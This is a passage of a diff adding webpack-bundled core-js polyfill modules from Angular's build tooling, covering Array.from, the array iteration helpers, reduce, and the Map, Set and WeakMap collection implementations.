"./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var callWithSafeIterationClosing = __webpack_require__(/*! ../internals/call-with-safe-iteration-closing */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/call-with-safe-iteration-closing.js"); +var isArrayIteratorMethod = __webpack_require__(/*! ../internals/is-array-iterator-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array-iterator-method.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var createProperty = __webpack_require__(/*! ../internals/create-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/create-property.js"); +var getIteratorMethod = __webpack_require__(/*! ../internals/get-iterator-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/get-iterator-method.js"); + +// `Array.from` method +// https://tc39.github.io/ecma262/#sec-array.from +module.exports = function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) { + var O = toObject(arrayLike); + var C = typeof this == 'function' ? this : Array; + var argumentsLength = arguments.length; + var mapfn = argumentsLength > 1 ? arguments[1] : undefined; + var mapping = mapfn !== undefined; + var index = 0; + var iteratorMethod = getIteratorMethod(O); + var length, result, step, iterator; + if (mapping) mapfn = bind(mapfn, argumentsLength > 2 ? arguments[2] : undefined, 2); + // if the target is not iterable or it's an array with the default iterator - use a simple case + if (iteratorMethod != undefined && !(C == Array && isArrayIteratorMethod(iteratorMethod))) { + iterator = iteratorMethod.call(O); + result = new C(); + for (;!(step = iterator.next()).done; index++) { + createProperty(result, index, mapping + ? callWithSafeIterationClosing(iterator, mapfn, [step.value, index], true) + : step.value + ); + } + } else { + length = toLength(O.length); + result = new C(length); + for (;length > index; index++) { + createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]); + } + } + result.length = index; + return result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-includes.js": +/*!*****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-includes.js ***! + \*****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var toAbsoluteIndex = __webpack_require__(/*! ../internals/to-absolute-index */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-absolute-index.js"); + +// `Array.prototype.{ indexOf, includes }` methods implementation +// false -> Array#indexOf +// https://tc39.github.io/ecma262/#sec-array.prototype.indexof +// true -> Array#includes +// https://tc39.github.io/ecma262/#sec-array.prototype.includes +module.exports = function (IS_INCLUDES) { + return function ($this, el, fromIndex) { + var O = toIndexedObject($this); + var length = toLength(O.length); + var index = toAbsoluteIndex(fromIndex, length); + var value; + // Array#includes uses SameValueZero equality algorithm + // eslint-disable-next-line no-self-compare + if (IS_INCLUDES && el != el) while (length > index) { + value = O[index++]; + // eslint-disable-next-line no-self-compare + if (value != value) return true; + // Array#indexOf ignores holes, Array#includes - not + } else for (;length > index; index++) if (IS_INCLUDES || index in O) { + if (O[index] === el) return IS_INCLUDES || index || 0; + } return !IS_INCLUDES && -1; + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-last-index-of.js": +/*!**********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-last-index-of.js ***! + \**********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var toIndexedObject = __webpack_require__(/*! ../internals/to-indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-indexed-object.js"); +var toInteger = __webpack_require__(/*! ../internals/to-integer */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-integer.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var nativeLastIndexOf = [].lastIndexOf; + +var NEGATIVE_ZERO = !!nativeLastIndexOf && 1 / [1].lastIndexOf(1, -0) < 0; +var SLOPPY_METHOD = __webpack_require__(/*! ../internals/sloppy-array-method */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/sloppy-array-method.js")('lastIndexOf'); + +// `Array.prototype.lastIndexOf` method implementation +// https://tc39.github.io/ecma262/#sec-array.prototype.lastindexof +module.exports = (NEGATIVE_ZERO || SLOPPY_METHOD) ? function lastIndexOf(searchElement /* , fromIndex = @[*-1] */) { + // convert -0 to +0 + if (NEGATIVE_ZERO) return nativeLastIndexOf.apply(this, arguments) || 0; + var O = toIndexedObject(this); + var length = toLength(O.length); + var index = length - 1; + if (arguments.length > 1) index = Math.min(index, toInteger(arguments[1])); + if (index < 0) index = length + index; + for (;index >= 0; index--) if (index in O) if (O[index] === searchElement) return index || 0; + return -1; +} : nativeLastIndexOf; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-method-has-species-support.js": +/*!***********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-method-has-species-support.js ***! + \***********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); + +module.exports = function (METHOD_NAME) { + return !fails(function () { + var array = []; + var constructor = array.constructor = {}; + constructor[SPECIES] = function () { + return { foo: 1 }; + }; + return array[METHOD_NAME](Boolean).foo !== 1; + }); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js": +/*!****************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js ***! + \****************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var IndexedObject = __webpack_require__(/*! ../internals/indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); +var arraySpeciesCreate = __webpack_require__(/*! ../internals/array-species-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-species-create.js"); + +// `Array.prototype.{ forEach, map, filter, some, every, find, findIndex }` methods implementation +// 0 -> Array#forEach +// https://tc39.github.io/ecma262/#sec-array.prototype.foreach +// 1 -> Array#map +// https://tc39.github.io/ecma262/#sec-array.prototype.map +// 2 -> Array#filter +// https://tc39.github.io/ecma262/#sec-array.prototype.filter +// 3 -> Array#some +// https://tc39.github.io/ecma262/#sec-array.prototype.some +// 4 -> Array#every +// https://tc39.github.io/ecma262/#sec-array.prototype.every +// 5 -> Array#find +// https://tc39.github.io/ecma262/#sec-array.prototype.find +// 6 -> Array#findIndex +// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex +module.exports = function (TYPE, specificCreate) { + var IS_MAP = TYPE == 1; + var IS_FILTER = TYPE == 2; + var IS_SOME = TYPE == 3; + var IS_EVERY = TYPE == 4; + var IS_FIND_INDEX = TYPE == 6; + var NO_HOLES = TYPE == 5 || IS_FIND_INDEX; + var create = specificCreate || arraySpeciesCreate; + return function ($this, callbackfn, that) { + var O = toObject($this); + var self = IndexedObject(O); + var boundFunction = bind(callbackfn, that, 3); + var length = toLength(self.length); + var index = 0; + var target = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined; + var value, result; + for (;length > index; index++) if (NO_HOLES || index in self) { + value = self[index]; + result = boundFunction(value, index, O); + if (TYPE) { + if (IS_MAP) target[index] = result; // map + else if (result) switch (TYPE) { + case 3: return true; // some + case 5: return value; // find + case 6: return index; // findIndex + case 2: target.push(value); // filter + } else if (IS_EVERY) return false; // every + } + } + return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : target; + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-reduce.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-reduce.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); +var toObject = __webpack_require__(/*! ../internals/to-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-object.js"); +var IndexedObject = __webpack_require__(/*! ../internals/indexed-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/indexed-object.js"); +var toLength = __webpack_require__(/*! ../internals/to-length */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/to-length.js"); + +// `Array.prototype.{ reduce, reduceRight }` methods implementation +// https://tc39.github.io/ecma262/#sec-array.prototype.reduce +// https://tc39.github.io/ecma262/#sec-array.prototype.reduceright +module.exports = function (that, callbackfn, argumentsLength, memo, isRight) { + aFunction(callbackfn); + var O = toObject(that); + var self = IndexedObject(O); + var length = toLength(O.length); + var index = isRight ? length - 1 : 0; + var i = isRight ? -1 : 1; + if (argumentsLength < 2) while (true) { + if (index in self) { + memo = self[index]; + index += i; + break; + } + index += i; + if (isRight ? index < 0 : length <= index) { + throw TypeError('Reduce of empty array with no initial value'); + } + } + for (;isRight ? index >= 0 : length > index; index += i) if (index in self) { + memo = callbackfn(memo, self[index], index, O); + } + return memo; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-species-create.js": +/*!***********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-species-create.js ***! + \***********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var isArray = __webpack_require__(/*! ../internals/is-array */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-array.js"); +var SPECIES = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('species'); + +// `ArraySpeciesCreate` abstract operation +// https://tc39.github.io/ecma262/#sec-arrayspeciescreate +module.exports = function (originalArray, length) { + var C; + if (isArray(originalArray)) { + C = originalArray.constructor; + // cross-realm fallback + if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined; + else if (isObject(C)) { + C = C[SPECIES]; + if (C === null) C = undefined; + } + } return new (C === undefined ? Array : C)(length === 0 ? 0 : length); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js": +/*!***************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js ***! + \***************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var aFunction = __webpack_require__(/*! ../internals/a-function */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/a-function.js"); + +// optional / simple context binding +module.exports = function (fn, that, length) { + aFunction(fn); + if (that === undefined) return fn; + switch (length) { + case 0: return function () { + return fn.call(that); + }; + case 1: return function (a) { + return fn.call(that, a); + }; + case 2: return function (a, b) { + return fn.call(that, a, b); + }; + case 3: return function (a, b, c) { + return fn.call(that, a, b, c); + }; + } + return function (/* ...args */) { + return fn.apply(that, arguments); + }; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/call-with-safe-iteration-closing.js": +/*!***********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/call-with-safe-iteration-closing.js ***! + \***********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); + +// call something on iterator step with safe closing on error +module.exports = function (iterator, fn, value, ENTRIES) { + try { + return ENTRIES ? fn(anObject(value)[0], value[1]) : fn(value); + // 7.4.6 IteratorClose(iterator, completion) + } catch (error) { + var returnMethod = iterator['return']; + if (returnMethod !== undefined) anObject(returnMethod.call(iterator)); + throw error; + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js": +/*!*********************************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js ***! + \*********************************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ITERATOR = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('iterator'); +var SAFE_CLOSING = false; + +try { + var called = 0; + var iteratorWithReturn = { + next: function () { + return { done: !!called++ }; + }, + 'return': function () { + SAFE_CLOSING = true; + } + }; + iteratorWithReturn[ITERATOR] = function () { + return this; + }; + // eslint-disable-next-line no-throw-literal + Array.from(iteratorWithReturn, function () { throw 2; }); +} catch (error) { /* empty */ } + +module.exports = function (exec, SKIP_CLOSING) { + if (!SKIP_CLOSING && !SAFE_CLOSING) return false; + var ITERATION_SUPPORT = false; + try { + var object = {}; + object[ITERATOR] = function () { + return { + next: function () { + return { done: ITERATION_SUPPORT = true }; + } + }; + }; + exec(object); + } catch (error) { /* empty */ } + return ITERATION_SUPPORT; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js": +/*!**************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js ***! + \**************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var toString = {}.toString; + +module.exports = function (it) { + return toString.call(it).slice(8, -1); +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof.js": +/*!**********************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof.js ***! + \**********************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var classofRaw = __webpack_require__(/*! ../internals/classof-raw */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/classof-raw.js"); +var TO_STRING_TAG = __webpack_require__(/*! ../internals/well-known-symbol */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/well-known-symbol.js")('toStringTag'); +// ES3 wrong here +var CORRECT_ARGUMENTS = classofRaw(function () { return arguments; }()) == 'Arguments'; + +// fallback for IE11 Script Access Denied error +var tryGet = function (it, key) { + try { + return it[key]; + } catch (error) { /* empty */ } +}; + +// getting tag from ES6+ `Object.prototype.toString` +module.exports = function (it) { + var O, tag, result; + return it === undefined ? 'Undefined' : it === null ? 'Null' + // @@toStringTag case + : typeof (tag = tryGet(O = Object(it), TO_STRING_TAG)) == 'string' ? tag + // builtinTag case + : CORRECT_ARGUMENTS ? classofRaw(O) + // ES3 arguments fallback + : (result = classofRaw(O)) == 'Object' && typeof O.callee == 'function' ? 'Arguments' : result; +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js": +/*!********************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-strong.js ***! + \********************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var defineProperty = __webpack_require__(/*! ../internals/object-define-property */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-define-property.js").f; +var create = __webpack_require__(/*! ../internals/object-create */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/object-create.js"); +var redefineAll = __webpack_require__(/*! ../internals/redefine-all */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js"); +var bind = __webpack_require__(/*! ../internals/bind-context */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/bind-context.js"); +var anInstance = __webpack_require__(/*! ../internals/an-instance */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var defineIterator = __webpack_require__(/*! ../internals/define-iterator */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/define-iterator.js"); +var setSpecies = __webpack_require__(/*! ../internals/set-species */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-species.js"); +var DESCRIPTORS = __webpack_require__(/*! ../internals/descriptors */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/descriptors.js"); +var fastKey = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js").fastKey; +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var setInternalState = InternalStateModule.set; +var internalStateGetterFor = InternalStateModule.getterFor; + +module.exports = { + getConstructor: function (wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, CONSTRUCTOR_NAME); + setInternalState(that, { + type: CONSTRUCTOR_NAME, + index: create(null), + first: undefined, + last: undefined, + size: 0 + }); + if (!DESCRIPTORS) that.size = 0; + if (iterable != undefined) iterate(iterable, that[ADDER], that, IS_MAP); + }); + + var getInternalState = internalStateGetterFor(CONSTRUCTOR_NAME); + + var define = function (that, key, value) { + var state = getInternalState(that); + var entry = getEntry(that, key); + var previous, index; + // change existing entry + if (entry) { + entry.value = value; + // create new entry + } else { + state.last = entry = { + index: index = fastKey(key, true), + key: key, + value: value, + previous: previous = state.last, + next: undefined, + removed: false + }; + if (!state.first) state.first = entry; + if (previous) previous.next = entry; + if (DESCRIPTORS) state.size++; + else that.size++; + // add to index + if (index !== 'F') state.index[index] = entry; + } return that; + }; + + var getEntry = function (that, key) { + var state = getInternalState(that); + // fast case + var index = fastKey(key); + var entry; + if (index !== 'F') return state.index[index]; + // frozen object case + for (entry = state.first; entry; entry = entry.next) { + if (entry.key == key) return entry; + } + }; + + redefineAll(C.prototype, { + // 23.1.3.1 Map.prototype.clear() + // 23.2.3.2 Set.prototype.clear() + clear: function clear() { + var that = this; + var state = getInternalState(that); + var data = state.index; + var entry = state.first; + while (entry) { + entry.removed = true; + if (entry.previous) entry.previous = entry.previous.next = undefined; + delete data[entry.index]; + entry = entry.next; + } + state.first = state.last = undefined; + if (DESCRIPTORS) state.size = 0; + else that.size = 0; + }, + // 23.1.3.3 Map.prototype.delete(key) + // 23.2.3.4 Set.prototype.delete(value) + 'delete': function (key) { + var that = this; + var state = getInternalState(that); + var entry = getEntry(that, key); + if (entry) { + var next = entry.next; + var prev = entry.previous; + delete state.index[entry.index]; + entry.removed = true; + if (prev) prev.next = next; + if (next) next.previous = prev; + if (state.first == entry) state.first = next; + if (state.last == entry) state.last = prev; + if (DESCRIPTORS) state.size--; + else that.size--; + } return !!entry; + }, + // 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined) + // 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined) + forEach: function forEach(callbackfn /* , that = undefined */) { + var state = getInternalState(this); + var boundFunction = bind(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3); + var entry; + while (entry = entry ? entry.next : state.first) { + boundFunction(entry.value, entry.key, this); + // revert to the last existing entry + while (entry && entry.removed) entry = entry.previous; + } + }, + // 23.1.3.7 Map.prototype.has(key) + // 23.2.3.7 Set.prototype.has(value) + has: function has(key) { + return !!getEntry(this, key); + } + }); + + redefineAll(C.prototype, IS_MAP ? { + // 23.1.3.6 Map.prototype.get(key) + get: function get(key) { + var entry = getEntry(this, key); + return entry && entry.value; + }, + // 23.1.3.9 Map.prototype.set(key, value) + set: function set(key, value) { + return define(this, key === 0 ? 0 : key, value); + } + } : { + // 23.2.3.1 Set.prototype.add(value) + add: function add(value) { + return define(this, value = value === 0 ? 0 : value, value); + } + }); + if (DESCRIPTORS) defineProperty(C.prototype, 'size', { + get: function () { + return getInternalState(this).size; + } + }); + return C; + }, + setStrong: function (C, CONSTRUCTOR_NAME, IS_MAP) { + var ITERATOR_NAME = CONSTRUCTOR_NAME + ' Iterator'; + var getInternalCollectionState = internalStateGetterFor(CONSTRUCTOR_NAME); + var getInternalIteratorState = internalStateGetterFor(ITERATOR_NAME); + // add .keys, .values, .entries, [@@iterator] + // 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11 + defineIterator(C, CONSTRUCTOR_NAME, function (iterated, kind) { + setInternalState(this, { + type: ITERATOR_NAME, + target: iterated, + state: getInternalCollectionState(iterated), + kind: kind, + last: undefined + }); + }, function () { + var state = getInternalIteratorState(this); + var kind = state.kind; + var entry = state.last; + // revert to the last existing entry + while (entry && entry.removed) entry = entry.previous; + // get next entry + if (!state.target || !(state.last = entry = entry ? entry.next : state.state.first)) { + // or finish the iteration + state.target = undefined; + return { value: undefined, done: true }; + } + // return step by kind + if (kind == 'keys') return { value: entry.key, done: false }; + if (kind == 'values') return { value: entry.value, done: false }; + return { value: [entry.key, entry.value], done: false }; + }, IS_MAP ? 'entries' : 'values', !IS_MAP, true); + + // add [@@species], 23.1.2.2, 23.2.2.2 + setSpecies(CONSTRUCTOR_NAME); + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-weak.js": +/*!******************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection-weak.js ***! + \******************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var redefineAll = __webpack_require__(/*! ../internals/redefine-all */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine-all.js"); +var getWeakData = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js").getWeakData; +var anObject = __webpack_require__(/*! ../internals/an-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-object.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var anInstance = __webpack_require__(/*! ../internals/an-instance */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var createArrayMethod = __webpack_require__(/*! ../internals/array-methods */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/array-methods.js"); +var $has = __webpack_require__(/*! ../internals/has */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/has.js"); +var InternalStateModule = __webpack_require__(/*! ../internals/internal-state */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-state.js"); +var setInternalState = InternalStateModule.set; +var internalStateGetterFor = InternalStateModule.getterFor; +var arrayFind = createArrayMethod(5); +var arrayFindIndex = createArrayMethod(6); +var id = 0; + +// fallback for uncaught frozen keys +var uncaughtFrozenStore = function (store) { + return store.frozen || (store.frozen = new UncaughtFrozenStore()); +}; + +var UncaughtFrozenStore = function () { + this.entries = []; +}; + +var findUncaughtFrozen = function (store, key) { + return arrayFind(store.entries, function (it) { + return it[0] === key; + }); +}; + +UncaughtFrozenStore.prototype = { + get: function (key) { + var entry = findUncaughtFrozen(this, key); + if (entry) return entry[1]; + }, + has: function (key) { + return !!findUncaughtFrozen(this, key); + }, + set: function (key, value) { + var entry = findUncaughtFrozen(this, key); + if (entry) entry[1] = value; + else this.entries.push([key, value]); + }, + 'delete': function (key) { + var index = arrayFindIndex(this.entries, function (it) { + return it[0] === key; + }); + if (~index) this.entries.splice(index, 1); + return !!~index; + } +}; + +module.exports = { + getConstructor: function (wrapper, CONSTRUCTOR_NAME, IS_MAP, ADDER) { + var C = wrapper(function (that, iterable) { + anInstance(that, C, CONSTRUCTOR_NAME); + setInternalState(that, { + type: CONSTRUCTOR_NAME, + id: id++, + frozen: undefined + }); + if (iterable != undefined) iterate(iterable, that[ADDER], that, IS_MAP); + }); + + var getInternalState = internalStateGetterFor(CONSTRUCTOR_NAME); + + var define = function (that, key, value) { + var state = getInternalState(that); + var data = getWeakData(anObject(key), true); + if (data === true) uncaughtFrozenStore(state).set(key, value); + else data[state.id] = value; + return that; + }; + + redefineAll(C.prototype, { + // 23.3.3.2 WeakMap.prototype.delete(key) + // 23.4.3.3 WeakSet.prototype.delete(value) + 'delete': function (key) { + var state = getInternalState(this); + if (!isObject(key)) return false; + var data = getWeakData(key); + if (data === true) return uncaughtFrozenStore(state)['delete'](key); + return data && $has(data, state.id) && delete data[state.id]; + }, + // 23.3.3.4 WeakMap.prototype.has(key) + // 23.4.3.4 WeakSet.prototype.has(value) + has: function has(key) { + var state = getInternalState(this); + if (!isObject(key)) return false; + var data = getWeakData(key); + if (data === true) return uncaughtFrozenStore(state).has(key); + return data && $has(data, state.id); + } + }); + + redefineAll(C.prototype, IS_MAP ? { + // 23.3.3.3 WeakMap.prototype.get(key) + get: function get(key) { + var state = getInternalState(this); + if (isObject(key)) { + var data = getWeakData(key); + if (data === true) return uncaughtFrozenStore(state).get(key); + return data ? data[state.id] : undefined; + } + }, + // 23.3.3.5 WeakMap.prototype.set(key, value) + set: function set(key, value) { + return define(this, key, value); + } + } : { + // 23.4.3.1 WeakSet.prototype.add(value) + add: function add(value) { + return define(this, value, true); + } + }); + + return C; + } +}; + + +/***/ }), + +/***/ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js": +/*!*************************************************************************************************!*\ + !*** ./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/collection.js ***! + \*************************************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ../internals/global */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/global.js"); +var isForced = __webpack_require__(/*! ../internals/is-forced */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-forced.js"); +var $export = __webpack_require__(/*! ../internals/export */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/export.js"); +var redefine = __webpack_require__(/*! ../internals/redefine */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/redefine.js"); +var InternalMetadataModule = __webpack_require__(/*! ../internals/internal-metadata */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/internal-metadata.js"); +var iterate = __webpack_require__(/*! ../internals/iterate */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/iterate.js"); +var anInstance = __webpack_require__(/*! ../internals/an-instance */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/an-instance.js"); +var isObject = __webpack_require__(/*! ../internals/is-object */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/is-object.js"); +var fails = __webpack_require__(/*! ../internals/fails */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/fails.js"); +var checkCorrectnessOfIteration = __webpack_require__(/*! ../internals/check-correctness-of-iteration */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/check-correctness-of-iteration.js"); +var setToStringTag = __webpack_require__(/*! ../internals/set-to-string-tag */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/set-to-string-tag.js"); +var inheritIfRequired = __webpack_require__(/*! ../internals/inherit-if-required */ "./node_modules/@angular-devkit/build-angular/node_modules/core-js/internals/inherit-if-required.js"); + +module.exports = function (CONSTRUCTOR_NAME, wrapper, common, IS_MAP, IS_WEAK) { + var NativeConstructor = global[CONSTRUCTOR_NAME]; + var NativePrototype = NativeConstructor && NativeConstructor.prototype; + var Constructor = NativeConstructor; + var ADDER = IS_MAP ? 'set' : 'add'; + var exported = {}; + + var fixMethod = function (KEY) { + var nativeMethod = NativePrototype[KEY]; + redefine(NativePrototype, KEY, + KEY == 'add' ? function add(a) { + nativeMethod.call(this, a === 0 ? 0 : a); + return this; + } : KEY == 'delete' ? function (a) { + return IS_WEAK && !isObject(a) ? false : nativeMethod.call(this, a === 0 ? 0 : a); + } : KEY == 'get' ? function get(a) { + return IS_WEAK && !isObject(a) ? undefined : nativeMethod.call(this, a === 0 ? 0 : a); + } : KEY == 'has' ? function has(a) { + return IS_WEAK && !isObject(a) ? false : nativeMethod.call(this, a === 0 ? 0 : a); + } : function set(a, b) { + nativeMethod.call(this, a === 0 ? 0 : a, b); + return this; + } + ); + }; + + // eslint-disable-next-line max-len + if (isForced(CONSTRUCTOR_NAME, typeof NativeConstructor != 'function' || !(IS_WEAK || 